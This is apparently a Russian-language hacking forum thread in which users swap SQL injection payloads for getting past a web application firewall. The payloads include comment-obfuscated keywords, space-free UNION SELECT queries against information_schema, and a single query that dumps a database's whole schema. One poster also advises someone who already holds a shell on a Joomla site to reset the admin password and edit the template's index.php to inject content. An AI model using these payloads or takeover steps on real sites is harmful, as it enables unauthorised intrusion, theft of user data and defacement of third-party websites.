Вопросы по уязвимостям

[Guest]

durito,
попробуй LIMIT (сначала 0,1, потом 1,1 и т.д.)

Я проверить не могу

=====================

У меня такой вопрос: WAF фильтрует слово users, поэтому не получается достать инфу о пользователях. Можно ли в mysql закодировать имя таблицы?

[faza02]

Guest, /*!%0dusErs*/

[Guest]

Не, такие варианты не прокатывают =(

WAF реагирует на строку users в любом регистре

Единственный шанс - это закодировать имя таблицы в запросе который обработает база.

[Paul Kaplan]

У меня не сапа.
Если вкратце, то есть скрипт.php который вытаскивает текст с моего сервера и должен вывести его (текст) на странице форума или джумлы.
Доступа в админку нет, только шелл.
Инклудить в сам шаблон нельзя, так как там .tpl
Соответственно должен быть скрипт, который формирует страницу.
Его имя мне и нужно, дальше сам разберусь.

[faza02]

Paul Kaplan, замени пасс админу, если лень брутить существующий, будет тебе доступ.
site/templates/[имя установленного темпелейта]/index.php

[xanxy]

Сообщение от faza02

union(select(1),2,3,table_name,5,(6)from(informati on_schema.tables)limit+1,1)
как запрос составить полностью без пробелов? убрать около лимита его. на ачате мне сей секрет рассказывать не хотят.

union(select(1),2,3,GROUP_CONCAT(table_name),5,(6) from(information_schema.tables)WHERE(table_name)>= 0xXXX)

union(select(1),2,3,table_name,5,(6)from(informati on_schema.tables)limit/**/1,1)

PS:
вот запрос чтоб всю структуру в один запрос вывести, без пробелов допилишь сам
SELECT @n FROM (select @n:=0x7c,(select null FROM (SELECT CONCAT_WS(0x2E,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME )w FROM information_schema.COLUMNS WHERE TABLE_SCHEMA NOT IN (0x6D7973716C, 0x696E666F726D6174696F6E5F736368656D61, 0x706572666F726D616E63655F736368656D61) ORDER BY w)y where @n:=concat(@n,0x0A,y.w) ))n

[durito]

Сообщение от Guest

durito,
попробуй LIMIT (сначала 0,1, потом 1,1 и т.д.)

это mssql, limit тут нет

[faza02]

что ж вы мне пытаетесь /**/ всунуть
да, я знаю, еще можно %0a, %0d и так далее

union(select(1),2,3,GROUP_CONCAT(table_name),5,(6) from(information_schema.tables)WHERE(table_name)>= 0xXXX)

как выводить — спасибо, я еще до этого не дошел, мне бы пока разобраться с синтаксисом без пробелов в лимите

[Jokester]

faza02 Лимит без пробела - никак, если нужно по одной записи то придётся группировать через where и уникальный ключ, как то так : where(id=1)

[faza02]

Jokester, спасибо.
https://rdot.org/forum/showthread.php?t=1243
вот еще тема всплыла, если кому-то понадобится, вроде разобрался.